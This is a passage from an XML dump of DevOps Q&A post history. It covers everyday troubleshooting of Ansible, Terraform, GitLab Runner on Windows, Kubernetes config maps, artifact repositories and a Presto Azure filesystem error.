  <row Id="34760" PostHistoryTypeId="1" PostId="11373" RevisionGUID="7c28a68f-e873-425c-b1b0-2d4cde9fb61f" CreationDate="2020-04-17T09:50:12.647" UserId="10119" Text="How to force BIND9 to query all forwarders for a zone and not die if one is not reachable" ContentLicense="CC BY-SA 4.0" />
  <row Id="34761" PostHistoryTypeId="3" PostId="11373" RevisionGUID="7c28a68f-e873-425c-b1b0-2d4cde9fb61f" CreationDate="2020-04-17T09:50:12.647" UserId="10119" Text="&lt;azure&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34762" PostHistoryTypeId="2" PostId="11374" RevisionGUID="9ef9d66a-620f-4cf5-b57c-cdb8b41cc45b" CreationDate="2020-04-17T11:14:00.737" UserId="21770" Text="Enforce case sensitivity, hence a != A&#xD;&#xA;&#xD;&#xA;Therefore, the correct code should look like this:&#xD;&#xA;&#xD;&#xA;    - name: Configure NTP file&#xD;&#xA;      template: src=ntp.conf.j2 dest=/etc/ntp.conf&#xD;&#xA;      tags: ntp&#xD;&#xA;      notify: Restart NTP&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34763" PostHistoryTypeId="50" PostId="11092" RevisionGUID="ab193238-6bd7-4d95-8ddc-37b39a8aa304" CreationDate="2020-04-17T12:01:20.133" UserId="-1" />
  <row Id="34764" PostHistoryTypeId="5" PostId="11374" RevisionGUID="a448a886-ab3b-4cb7-92ad-84aae66963dc" CreationDate="2020-04-17T12:22:17.803" UserId="354" Comment="Fix grammar." Text="Ansible is case sensitive, hence a != A&#xD;&#xA;&#xD;&#xA;Therefore, the correct code should look like this:&#xD;&#xA;&#xD;&#xA;    - name: Configure NTP file&#xD;&#xA;      template: src=ntp.conf.j2 dest=/etc/ntp.conf&#xD;&#xA;      tags: ntp&#xD;&#xA;      notify: Restart NTP&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34767" PostHistoryTypeId="2" PostId="11375" RevisionGUID="53b7a774-9d54-4f43-8742-65b55d7a06fd" CreationDate="2020-04-17T18:37:16.357" UserId="2463" Text="The `terraform import` command uses [the &quot;Resource Address&quot; syntax](https://www.terraform.io/docs/internals/resource-addressing.html), which is a way to talk about objects in a configuration from outside of that configuration. (This is as opposed to [references](https://www.terraform.io/docs/configuration/expressions.html#references-to-named-values) in the main Terraform language, which are always resolved in the context of a particular module.)&#xD;&#xA;&#xD;&#xA;To refer to a resource that is declared in a child module, you can add a module path to the beginning of the address:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform import module.assets.aws_s3_bucket.machine-learning BUCKET-NAME&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34769" PostHistoryTypeId="2" PostId="11377" RevisionGUID="f4922fb2-e7d4-4cff-9338-d1d2073680db" CreationDate="2020-04-17T20:36:51.540" UserId="21779" Text="I used the O'Reilly Ansible book: &quot;Ansible: Up and Running, 2nd Edition&quot; to learn Ansible and found it well-paced and helpful. It suggests using Vagrant to work with a virtual machine (VM) on your normal desktop/laptop to practise what you've learned, an approach I find very helpful - including now, since this is also a great way to prototype Ansible playbooks before deploying them.&#xD;&#xA;&#xD;&#xA;Vagrant is also the tool advocated by Michael Heap in his &quot;Ansible from Beginner to Pro&quot;, which is a bit faster-paced. Published in 2016 it won't have some of the newer Ansible features.&#xD;&#xA;&#xD;&#xA;PacktPub have several Ansible books, so one of those may suit, and finally you've found LeanPub's &quot;Ansible for DevOps&quot; by Jeff Geerling already.&#xD;&#xA;&#xD;&#xA;I hope that helps." ContentLicense="CC BY-SA 4.0" />
  <row Id="34770" PostHistoryTypeId="2" PostId="11378" RevisionGUID="31960faa-624a-45f4-9de0-4afce9b49d6a" CreationDate="2020-04-17T21:13:49.310" UserId="21640" Text="I agree with casey vega. Provide the complete path." ContentLicense="CC BY-SA 4.0" />
  <row Id="34772" PostHistoryTypeId="5" PostId="11378" RevisionGUID="8be2b19b-bd28-4633-9924-9f1fd31764c2" CreationDate="2020-04-18T03:44:51.463" UserId="739" Comment="clarify that this isn't just repeating another answer" Text="As Casey Vega commented: provide the complete path." ContentLicense="CC BY-SA 4.0" />
  <row Id="34774" PostHistoryTypeId="2" PostId="11379" RevisionGUID="4fb0bf97-fd2d-4743-8038-90500ebd0126" CreationDate="2020-04-18T10:12:11.737" UserId="40" Text="&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From your own comment below your question, it seems that [Set permissions and access for work tracking][1] is a possible answer. Here is a partial quote of it:&#xD;&#xA;&#xD;&#xA;&gt; You grant or restrict access to various work tracking features by granting users or groups specific permissions for an object, project, or collection. Or, when you assign a user as a team administrator, they have permissions to manage all assets for the specific team. Add users to the Contributors group to provide access to most features as listed in Permissions and access for work tracking.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/organizations/security/set-permissions-access-work-tracking?view=azure-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="34775" PostHistoryTypeId="2" PostId="11380" RevisionGUID="09e22b35-d295-4ad4-9e15-c801d1f59500" CreationDate="2020-04-18T12:27:33.467" UserId="16854" Text="How to integrate config map for angular application in kubernetes cluster &#xA;&#xA;&#xA;Any useful blogs or videos implementing this would help me. &#xA;I could find one or two.. But didn't work &#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34776" PostHistoryTypeId="1" PostId="11380" RevisionGUID="09e22b35-d295-4ad4-9e15-c801d1f59500" CreationDate="2020-04-18T12:27:33.467" UserId="16854" Text="Angular config maps in kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="34777" PostHistoryTypeId="3" PostId="11380" RevisionGUID="09e22b35-d295-4ad4-9e15-c801d1f59500" CreationDate="2020-04-18T12:27:33.467" UserId="16854" Text="&lt;kubernetes&gt;&lt;configuration-management&gt;&lt;kubernetes-volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34779" PostHistoryTypeId="2" PostId="11381" RevisionGUID="ec449c4a-fa61-40cf-b7dc-8afea64196b9" CreationDate="2020-04-18T18:23:31.050" UserId="21640" Text="&gt; have anyone tried this scenario (gitlab runner + docker on Windows) before, and have some feedback if it works or not?&#xD;&#xA;&#xD;&#xA;I installed and registered a GitLab Runner on my Windows 10 laptop following the instructions from GitLab [Install GitLab Runner on Windows][1]&#xD;&#xA;&#xD;&#xA;However I am unable to get the Windows container image:&#xD;&#xA;&#xD;&#xA;    PS C:\GitLab-Runner&gt; docker pull mcr.microsoft.com/windows/servercore&#xD;&#xA;    Using default tag: latest&#xD;&#xA;    Error response from daemon: manifest for mcr.microsoft.com/windows/servercore:latest not found: manifest unknown: manifest unknown&#xD;&#xA;    PS C:\GitLab-Runner&gt; docker pull mcr.microsoft.com/windows/servercore:1809&#xD;&#xA;    1809: Pulling from windows/servercore&#xD;&#xA;    no matching manifest for linux/amd64 in the manifest list entries&#xD;&#xA;    PS C:\GitLab-Runner&gt;&#xD;&#xA;&#xD;&#xA;Looking at &lt;https://hub.docker.com/_/microsoft-windows-servercore?tab=reviews&gt;, other people have had this issue.&#xD;&#xA;&#xD;&#xA;BTW, as of January 2020, GitLab has [Windows Shared Runners (beta)][2]&#xD;&#xA;&#xD;&#xA;I tried that and it works.&#xD;&#xA;&#xD;&#xA;&gt; Is my plan of decreasing Jenkins usage and using more Gitlab runner (for this project at least) feasible? &#xD;&#xA;&#xD;&#xA;Sounds good to  me.&#xD;&#xA;&#xD;&#xA;&gt; Do you have a better approach on how can I improve to a scalable Windows project CI/CD process, other than using gitlab runner + docker?&#xD;&#xA;&#xD;&#xA;No.  I think you're on the right path.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/install/windows.html&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/user/gitlab_com/#windows-shared-runners-beta" ContentLicense="CC BY-SA 4.0" />
  <row Id="34780" PostHistoryTypeId="5" PostId="11381" RevisionGUID="5e4e868c-7cf1-4b87-a55f-eaa9f104c718" CreationDate="2020-04-18T18:40:02.817" UserId="21640" Comment="added 565 characters in body" Text="&gt; have anyone tried this scenario (gitlab runner + docker on Windows) before, and have some feedback if it works or not?&#xD;&#xA;&#xD;&#xA;I installed and registered a GitLab Runner on my Windows 10 laptop following the instructions from GitLab [Install GitLab Runner on Windows][1]&#xD;&#xA;&#xD;&#xA;However I am unable to get the Windows container image:&#xD;&#xA;&#xD;&#xA;    PS C:\GitLab-Runner&gt; docker pull mcr.microsoft.com/windows/servercore&#xD;&#xA;    Using default tag: latest&#xD;&#xA;    Error response from daemon: manifest for mcr.microsoft.com/windows/servercore:latest not found: manifest unknown: manifest unknown&#xD;&#xA;    PS C:\GitLab-Runner&gt; docker pull mcr.microsoft.com/windows/servercore:1809&#xD;&#xA;    1809: Pulling from windows/servercore&#xD;&#xA;    no matching manifest for linux/amd64 in the manifest list entries&#xD;&#xA;    PS C:\GitLab-Runner&gt;&#xD;&#xA;&#xD;&#xA;Looking at &lt;https://hub.docker.com/_/microsoft-windows-servercore?tab=reviews&gt;, other people have had this issue.  Aha! I selected the &quot;Switch to Windows containers&quot; option in my Windows Docker (in the top-level menu that opened from the Docker icon in my toolbar), and now I am able to `docker pull` the Windows servercore image.  &#xD;&#xA;&#xD;&#xA;    PS C:\Users\atsaloli&gt; docker pull mcr.microsoft.com/windows/servercore&#xD;&#xA;    Using default tag: latest&#xD;&#xA;    65014b3c3121: Downloading [=======&gt;                                           ]  226.5MB/1.535GB                          eac6fba788c9: Downloading [============&gt;                                      ]  181.6MB/736MB             &#xD;&#xA;&#xD;&#xA;BTW, as of January 2020, GitLab has [Windows Shared Runners (beta)][2]&#xD;&#xA;&#xD;&#xA;I tried that and it works.&#xD;&#xA;&#xD;&#xA;&gt; Is my plan of decreasing Jenkins usage and using more Gitlab runner (for this project at least) feasible? &#xD;&#xA;&#xD;&#xA;Sounds good to  me.&#xD;&#xA;&#xD;&#xA;&gt; Do you have a better approach on how can I improve to a scalable Windows project CI/CD process, other than using gitlab runner + docker?&#xD;&#xA;&#xD;&#xA;No.  I think you're on the right path.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/install/windows.html&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/user/gitlab_com/#windows-shared-runners-beta&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34784" PostHistoryTypeId="50" PostId="9863" RevisionGUID="5eab715f-5174-4a96-9cf6-64ecb21682a5" CreationDate="2020-04-18T19:02:45.247" UserId="-1" />
  <row Id="34785" PostHistoryTypeId="5" PostId="11381" RevisionGUID="795eb6bb-fffd-4b79-9097-eb8b119480ce" CreationDate="2020-04-18T19:13:57.430" UserId="21640" Comment="added 23 characters in body" Text="&gt; have anyone tried this scenario (gitlab runner + docker on Windows) before, and have some feedback if it works or not?&#xD;&#xA;&#xD;&#xA;I installed and registered a GitLab Runner on my Windows 10 laptop following the instructions from GitLab [Install GitLab Runner on Windows][1]&#xD;&#xA;&#xD;&#xA;At first, I had trouble pulling the Windows container image:&#xD;&#xA;&#xD;&#xA;    PS C:\GitLab-Runner&gt; docker pull mcr.microsoft.com/windows/servercore&#xD;&#xA;    Using default tag: latest&#xD;&#xA;    Error response from daemon: manifest for mcr.microsoft.com/windows/servercore:latest not found: manifest unknown: manifest unknown&#xD;&#xA;    PS C:\GitLab-Runner&gt; docker pull mcr.microsoft.com/windows/servercore:1809&#xD;&#xA;    1809: Pulling from windows/servercore&#xD;&#xA;    no matching manifest for linux/amd64 in the manifest list entries&#xD;&#xA;    PS C:\GitLab-Runner&gt;&#xD;&#xA;&#xD;&#xA;After selecting the &quot;Switch to Windows containers&quot; option in my Windows Docker (in the top-level menu that opens from the Docker icon in the toolbar), I was able to `docker pull` the Windows servercore image.  &#xD;&#xA;&#xD;&#xA;However, I was unable to run GitLab Runner on my fully patched and updated Windows laptop:&#xD;&#xA;&#xD;&#xA;     ERROR: Preparation failed: unsupported Windows version: Windows 10 Pro Version 1909 ...&#xD;&#xA;&#xD;&#xA;It's too new!  As I read GitLab's [Windows version support policy][2], GitLab should support 1909 for 18 months; but obviously that is not the case yet. 1903 is the most recent supported version.&#xD;&#xA;&#xD;&#xA;However, as of January 2020, GitLab has [Windows Shared Runners (beta)][3]&#xD;&#xA;&#xD;&#xA;I tried that and it works.&#xD;&#xA;&#xD;&#xA;&gt; Is my plan of decreasing Jenkins usage and using more Gitlab runner (for this project at least) feasible? &#xD;&#xA;&#xD;&#xA;Sounds good to  me.&#xD;&#xA;&#xD;&#xA;&gt; Do you have a better approach on how can I improve to a scalable Windows project CI/CD process, other than using gitlab runner + docker?&#xD;&#xA;&#xD;&#xA;No.  I think you're on the right path.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/install/windows.html&#xD;&#xA;  [2]: https://docs.gitlab.com/runner/install/windows.html#windows-version-support-policy&#xD;&#xA;  [3]: https://docs.gitlab.com/ee/user/gitlab_com/#windows-shared-runners-beta" ContentLicense="CC BY-SA 4.0" />
  <row Id="34786" PostHistoryTypeId="5" PostId="11377" RevisionGUID="31d0a983-e009-41a9-8111-8940077593aa" CreationDate="2020-04-18T19:34:21.343" UserId="21779" Comment="Added a paragraph to consider questioner's concerns about Vagrant/Virtualbox" Text="I used the O'Reilly Ansible book: &quot;Ansible: Up and Running, 2nd Edition&quot; to learn Ansible and found it well-paced and helpful. It suggests using Vagrant to work with a virtual machine (VM) on your normal desktop/laptop to practise what you've learned, an approach I find very helpful - including now, since this is also a great way to prototype Ansible playbooks before deploying them.&#xD;&#xA;&#xD;&#xA;Vagrant is also the tool advocated by Michael Heap in his &quot;Ansible from Beginner to Pro&quot;, which is a bit faster-paced. Published in 2016 it won't have some of the newer Ansible features.&#xD;&#xA;&#xD;&#xA;PacktPub have several Ansible books, so one of those may suit, and finally you've found LeanPub's &quot;Ansible for DevOps&quot; by Jeff Geerling already.&#xD;&#xA;&#xD;&#xA;I hope that helps.&#xD;&#xA;&#xD;&#xA;PS: re. your wish to avoid Vagrant, Virtualbox etc - I suggest that you consider these as useful tools to help you on your Ansible journey: You don't need to know much about them atall (sufficient info is given in the books mentioned), but they make for a really helpful way of quickly testing and prototyping your Ansible work - particularly since you can create and destroy them at will - so it's easy to recover if you mess up badly, and easy to test a playbook on several different distros at once. If you really don't like the Vagrant/Virtualbox aspect, use a spare Linux machine, be that on your local network or out there on the 'net." ContentLicense="CC BY-SA 4.0" />
  <row Id="34787" PostHistoryTypeId="5" PostId="11381" RevisionGUID="e644e32d-e8bf-4f86-af00-df22eb77ea30" CreationDate="2020-04-18T19:44:12.873" UserId="21640" Comment="added 101 characters in body" Text="&gt; have anyone tried this scenario (gitlab runner + docker on Windows) before, and have some feedback if it works or not?&#xD;&#xA;&#xD;&#xA;I installed and registered a GitLab Runner on my Windows 10 laptop following the instructions from GitLab [Install GitLab Runner on Windows][1]&#xD;&#xA;&#xD;&#xA;At first, I had trouble pulling the Windows container image:&#xD;&#xA;&#xD;&#xA;    PS C:\GitLab-Runner&gt; docker pull mcr.microsoft.com/windows/servercore&#xD;&#xA;    Using default tag: latest&#xD;&#xA;    Error response from daemon: manifest for mcr.microsoft.com/windows/servercore:latest not found: manifest unknown: manifest unknown&#xD;&#xA;    PS C:\GitLab-Runner&gt; docker pull mcr.microsoft.com/windows/servercore:1809&#xD;&#xA;    1809: Pulling from windows/servercore&#xD;&#xA;    no matching manifest for linux/amd64 in the manifest list entries&#xD;&#xA;    PS C:\GitLab-Runner&gt;&#xD;&#xA;&#xD;&#xA;After selecting the &quot;Switch to Windows containers&quot; option in my Windows Docker (in the top-level menu that opens from the Docker icon in the toolbar), I was able to `docker pull` the Windows servercore image.  &#xD;&#xA;&#xD;&#xA;However, I was unable to run GitLab Runner on my fully patched and updated Windows laptop:&#xD;&#xA;&#xD;&#xA;     ERROR: Preparation failed: unsupported Windows version: Windows 10 Pro Version 1909 ...&#xD;&#xA;&#xD;&#xA;It's too new!  As I read GitLab's [Windows version support policy][2], GitLab should support 1909 for 18 months; but obviously that is not the case yet. 1903 is the most recent supported version.&#xD;&#xA;&#xD;&#xA;However, as of January 2020, GitLab has [Windows Shared Runners (beta)][3]&#xD;&#xA;&#xD;&#xA;I tried that and it works. Example `.gitlab-ci.yml`:&#xD;&#xA;&#xD;&#xA;    my_job:&#xD;&#xA;      script: systeminfo&#xD;&#xA;      tags:&#xD;&#xA;        - windows&#xD;&#xA;&#xD;&#xA;&gt; Is my plan of decreasing Jenkins usage and using more Gitlab runner (for this project at least) feasible? &#xD;&#xA;&#xD;&#xA;Sounds good to  me.&#xD;&#xA;&#xD;&#xA;&gt; Do you have a better approach on how can I improve to a scalable Windows project CI/CD process, other than using gitlab runner + docker?&#xD;&#xA;&#xD;&#xA;No.  I think you're on the right path.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/install/windows.html&#xD;&#xA;  [2]: https://docs.gitlab.com/runner/install/windows.html#windows-version-support-policy&#xD;&#xA;  [3]: https://docs.gitlab.com/ee/user/gitlab_com/#windows-shared-runners-beta&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34788" PostHistoryTypeId="2" PostId="11383" RevisionGUID="2bac592b-f1b5-486d-92de-76ef5a52b1ac" CreationDate="2020-04-19T01:51:57.980" UserId="16059" Text="Prometheus can surface any metrics you like, you just need a proper exporter for the apps.  E.g. there will be JVM exporters to export JVM heap metrics.  Many apps support JMX (also in Java), or other similar mechanisms in other languages for reporting metrics and counters as well (e.g. we use these to get detailed presto memory use metrics).&#xD;&#xA;&#xD;&#xA;You may want process exporter or something similar -&gt; https://github.com/ncabatoff/process-exporter.&#xD;&#xA;&#xD;&#xA;If you really had to, you could even write something as simplistic as a kubectl exec command to grab stats from the container and save them in prometheus exporter file format and scrape it off apache/nginx.&#xD;&#xA;&#xD;&#xA;Other than that, go for a good APM solution that holds the metrics for you and fork out some cash =)." ContentLicense="CC BY-SA 4.0" />
  <row Id="34793" PostHistoryTypeId="5" PostId="10192" RevisionGUID="d94c63a4-e8ea-46c8-b93a-800497ab21f8" CreationDate="2020-04-19T16:23:28.873" UserId="12890" Comment="record some notes over 3 last months" Text="To speed up builds, I'd like to avoid install tools that I need on every commit with `apt-get update -y &amp;&amp; apt-get install -y git zip`.&#xD;&#xA;&#xD;&#xA;Normal way is to create custom build image, register at Docker Hub and upload it there. But I am 100% sure that there is already an up to date image that contains both `git` and `zip` tools that I need. The only question is how to find this image?&#xD;&#xA;&#xD;&#xA;**UPDATE 202004**: There is no indexer for DockerHub, and there is no even indexer for Docker image contents. To start with that one could get a list of files from an image by patching [`dive`](https://github.com/wagoodman/dive) by @wagoodman, or using https://github.com/GoogleContainerTools/container-diff" ContentLicense="CC BY-SA 4.0" />
  <row Id="34795" PostHistoryTypeId="2" PostId="11384" RevisionGUID="be9d7fee-c62e-4f88-9af8-ba9490206e59" CreationDate="2020-04-19T18:00:46.813" UserId="21809" Text="DOCX actually is zip-archive which contains xml. Xml is text format which should be fine viewed and tracked by Gitlab and other version control systems. Unfortunately, now this feature is unavailable. But exists alternative path - use third-side utility Pandoc. &#xD;&#xA;&#xD;&#xA;I found information about Pandoc at this link:&#xD;&#xA;https://github.com/vigente/gerardus/wiki/Integrate-git-diffs-with-word-docx-files" ContentLicense="CC BY-SA 4.0" />
  <row Id="34796" PostHistoryTypeId="2" PostId="11385" RevisionGUID="3db4bd24-229d-4e8f-a6c3-d89b5bb24e1b" CreationDate="2020-04-19T19:30:26.953" UserId="16059" Text="This one from medium should be fine for your purposes: https://medium.com/@ychetankumarsarma/how-to-manage-angular-application-configurations-for-different-environments-with-docker-and-8ff8c55a1c7d.&#xD;&#xA;&#xD;&#xA;It is good because:&#xD;&#xA;&#xD;&#xA; - It shows a test / development scenario.&#xD;&#xA; - It notes that it is a good / accepted technique to use environment variables to drive config.&#xD;&#xA; - It shows you how to create a config map with a literal value (as an example).&#xD;&#xA; - It shows you how to read that environment variable into your app environment properly.&#xD;&#xA;&#xD;&#xA;There is also a working sample app noted here -&gt; https://github.com/chetanku/frontend-env which you should be able to &quot;just start up&quot; and work backwards from.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34797" PostHistoryTypeId="2" PostId="11386" RevisionGUID="68835e93-87f5-45ba-904e-95099ec8a0d9" CreationDate="2020-04-19T19:58:26.940" UserId="21810" Text="**JFrog Artifactory pros**&#xD;&#xA;&#xD;&#xA;Artifactory supports 25+ package types, while Azure supports only Maven, npm, NuGet and Python. You can get Docker and Helm with Azure Container Registry but it’s a separate tool.&#xD;&#xA;&#xD;&#xA;Artifactory is fully hybrid - available both for on-premise installations and as SaaS - with full parity between the versions. Azure Artifacts on-prem isn’t maintained regularly like SaaS.&#xD;&#xA;&#xD;&#xA;With Artifactory you can avoid vendor lock-in - not depending just on one cloud vendor for all of your needs. That also means not being limited to any vendor’s stack for your database, access management, etc.&#xD;&#xA; Proxy any remote repository - not just the official ones (like Maven Central and PyPI.org)&#xD;&#xA;&#xD;&#xA;Artifactory is optimized for multi-site operations - Supports any network topology, over multiple, geographically distant sites and data centers, through different options for replication including pull, push, event-based and multi-push replication.&#xD;&#xA;&#xD;&#xA;Rich metadata &amp; AQL - Artifactory provides full metadata capabilities for all major package formats for both artifacts and folders – including custom metadata. Users can tag artifacts and folders with searchable properties. Artifactory also collects build information for build artifacts as part of the CI server integration (see below). AQL gives you unprecedented flexibility in how you search for artifacts. It offers a simple way to formulate complex queries that specify any number of search criteria, filters, sorting options and output fields.&#xD;&#xA;&#xD;&#xA;Build info - Artifactory stores exhaustive metadata for all build artifacts deployed to it. With this “bill of materials” it is easy to faithfully reproduce a build, and trace the cause of issues to reduce time to resolution (TTR), even if the build is already in production.&#xD;&#xA;&#xD;&#xA;**Azure Articles pros**&#xD;&#xA;&#xD;&#xA;if your CI is already built on Azure DevOps, the initial set up for Azure Artifacts may be a bit quicker. The basic functionality of hosting artifacts, so that they can be resolved by other builds will work for you." ContentLicense="CC BY-SA 4.0" />
  <row Id="34798" PostHistoryTypeId="2" PostId="11387" RevisionGUID="1820b016-8216-4d9e-a98f-d00271d4b0f2" CreationDate="2020-04-19T23:25:41.023" UserId="17259" Text="I am using prestodb:0.234&#xD;&#xA;&#xD;&#xA;Dependency jars: &#xD;&#xA;&#xD;&#xA;   azure-storage-2.0.0.jar&#xD;&#xA;   hadoop-azure-3.2.1.jar&#xD;&#xA;   hadoop-azure-datalake-3.2.1.jar &#xD;&#xA;   azure-data-lake-store-sdk-2.3.8.jar&#xD;&#xA;&#xD;&#xA;I am getting below error while doing the querying.&#xD;&#xA;&#xD;&#xA;    com.facebook.presto.spi.PrestoException: cannot create caching file system&#xD;&#xA;    	at com.facebook.presto.hive.HiveCachingHdfsConfiguration.lambda$getConfiguration$0(HiveCachingHdfsConfiguration.java:70)&#xD;&#xA;    	at com.facebook.presto.hive.HiveCachingHdfsConfiguration$CachingJobConf.createFileSystem(HiveCachingHdfsConfiguration.java:94)&#xD;&#xA;    	at org.apache.hadoop.fs.PrestoFileSystemCache.get(PrestoFileSystemCache.java:59)&#xD;&#xA;    	at org.apache.hadoop.fs.FileSystem.get(FileSystem.java:373)&#xD;&#xA;    	at org.apache.hadoop.fs.Path.getFileSystem(Path.java:295)&#xD;&#xA;    	at com.facebook.presto.hive.HdfsEnvironment.lambda$getFileSystem$0(HdfsEnvironment.java:73)&#xD;&#xA;    	at com.facebook.presto.hive.authentication.NoHdfsAuthentication.doAs(NoHdfsAuthentication.java:23)&#xD;&#xA;    	at com.facebook.presto.hive.HdfsEnvironment.getFileSystem(HdfsEnvironment.java:72)&#xD;&#xA;    	at com.facebook.presto.hive.HdfsEnvironment.getFileSystem(HdfsEnvironment.java:66)&#xD;&#xA;    	at com.facebook.presto.hive.BackgroundHiveSplitLoader.loadPartition(BackgroundHiveSplitLoader.java:298)&#xD;&#xA;    	at com.facebook.presto.hive.BackgroundHiveSplitLoader.loadSplits(BackgroundHiveSplitLoader.java:270)&#xD;&#xA;    	at com.facebook.presto.hive.BackgroundHiveSplitLoader.access$300(BackgroundHiveSplitLoader.java:100)&#xD;&#xA;    	at com.facebook.presto.hive.BackgroundHiveSplitLoader$HiveSplitLoaderTask.process(BackgroundHiveSplitLoader.java:199)&#xD;&#xA;    	at com.facebook.presto.hive.util.ResumableTasks.safeProcessTask(ResumableTasks.java:47)&#xD;&#xA;    	at com.facebook.presto.hive.util.ResumableTasks.access$000(ResumableTasks.java:20)&#xD;&#xA;    	at com.facebook.presto.hive.util.ResumableTasks$1.run(ResumableTasks.java:35)&#xD;&#xA;    	at com.facebook.airlift.concurrent.BoundedExecutor.drainQueue(BoundedExecutor.java:78)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xD;&#xA;    	at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;    Caused by: java.io.IOException: No FileSystem for scheme: abfs&#xD;&#xA;    	at org.apache.hadoop.fs.FileSystem.getFileSystemClass(FileSystem.java:2660)&#xD;&#xA;    	at org.apache.hadoop.fs.PrestoFileSystemCache.createFileSystem(PrestoFileSystemCache.java:114)&#xD;&#xA;    	at org.apache.hadoop.fs.PrestoFileSystemCache.getInternal(PrestoFileSystemCache.java:89)&#xD;&#xA;    	at org.apache.hadoop.fs.PrestoFileSystemCache.get(PrestoFileSystemCache.java:62)&#xD;&#xA;    	at org.apache.hadoop.fs.FileSystem.get(FileSystem.java:373)&#xD;&#xA;    	at org.apache.hadoop.fs.Path.getFileSystem(Path.java:295)&#xD;&#xA;    	at com.facebook.presto.hive.HiveCachingHdfsConfiguration.lambda$getConfiguration$0(HiveCachingHdfsConfiguration.java:66)&#xD;&#xA;&#xD;&#xA;Any suggestions." ContentLicense="CC BY-SA 4.0" />
  <row Id="34799" PostHistoryTypeId="1" PostId="11387" RevisionGUID="1820b016-8216-4d9e-a98f-d00271d4b0f2" CreationDate="2020-04-19T23:25:41.023" UserId="17259" Text="I was trying ti set up presto with azure gen2 , but facing the below issue when I am querying" ContentLicense="CC BY-SA 4.0" />
  <row Id="34800" PostHistoryTypeId="3" PostId="11387" RevisionGUID="1820b016-8216-4d9e-a98f-d00271d4b0f2" CreationDate="2020-04-19T23:25:41.023" UserId="17259" Text="&lt;azure&gt;&lt;hive&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34818" PostHistoryTypeId="5" PostId="11380" RevisionGUID="3d7ef8ff-7e31-4a0c-a4c2-de77dc406c8e" CreationDate="2020-04-20T04:36:48.510" UserId="16059" Comment="just cleaned up grammar + formatting." Text="How can I integrate a config map into my angular application in kubernetes?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any useful blogs or videos implementing this would be helpful.  I found a few, but they didn't work for me.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34819" PostHistoryTypeId="24" PostId="11380" RevisionGUID="3d7ef8ff-7e31-4a0c-a4c2-de77dc406c8e" CreationDate="2020-04-20T04:36:48.510" Comment="Proposed by 16059 approved by 739, 354 edit id of 1187" ContentLicense="CC BY-SA 4.0" />
  <row Id="34820" PostHistoryTypeId="2" PostId="11388" RevisionGUID="8b07c3ea-0004-4fe6-829d-1c9d746ac025" CreationDate="2020-04-20T06:05:02.087" UserId="20042" Text="Since [`ABFS`](https://docs.microsoft.com/en-us/azure/storage/blobs/data-lake-storage-abfs-driver) mentioned in the stacktrace as a caching filesystem, then I suppose two possible reasons and suggest solutions for them&#xD;&#xA;&#xD;&#xA;## Dependency mesh in `maven`&#xD;&#xA;&#xD;&#xA;As noted in two answers ([one](https://stackoverflow.com/a/21118824/5720818), [two](https://stackoverflow.com/a/27532248/5720818)) to a [similar question](https://stackoverflow.com/questions/17265002/hadoop-no-filesystem-for-scheme-file)&#xD;&#xA;&gt; When we use maven-assembly-plugin, it merges all our JARs into one, and all META-INFO/services/org.apache.hadoop.fs.FileSystem overwrite each-other. Only one of these files remains (the last one that was added). In this case, the FileSystem list from hadoop-commons overwrites the list from hadoop-hdfs, so DistributedFileSystem was no longer declared.&#xD;&#xA;&#xD;&#xA;So, check your dependencies and if there are `JAR` with correct `org.apache.hadoop.fs.FileSystem` in your distibution.&#xD;&#xA;&#xD;&#xA;## `PrestoDB` uses outdated `azure-site.xml`&#xD;&#xA;&#xD;&#xA;There is [known issue #11648](https://github.com/prestodb/presto/issues/11648). &#xD;&#xA;And as [said](https://github.com/prestodb/presto/issues/11648#issuecomment-522853533), `ABFS`, `ADLS` and `ALDS gen2` was only introduced to https://github.com/prestosql/presto, not to `prestodb`&#xD;&#xA;&#xD;&#xA;So, suggestion is to ask your question on [Presto Community Slack](https://prestosql.io/community.html)&#xD;&#xA;&#xD;&#xA;# P.S. try `storediag`&#xD;&#xA;&#xD;&#xA;There is a `hadoop` manual on `Azure` [ABFS](https://github.com/apache/hadoop/blob/745a6c1e69b3699f6496a146afc48824dd735461/hadoop-tools/hadoop-azure/src/site/markdown/abfs.md)&#xD;&#xA;&#xD;&#xA;And among other tips [they recommend](https://github.com/apache/hadoop/blob/745a6c1e69b3699f6496a146afc48824dd735461/hadoop-tools/hadoop-azure/src/site/markdown/abfs.md):&#xD;&#xA;&#xD;&#xA;&gt; One useful tool for debugging connectivity is the [cloudstore storediag utility](https://github.com/steveloughran/cloudstore/releases).&#xD;&#xA;&gt;&#xD;&#xA;&gt; This validates the classpath, the settings, then tries to work with the filesystem." 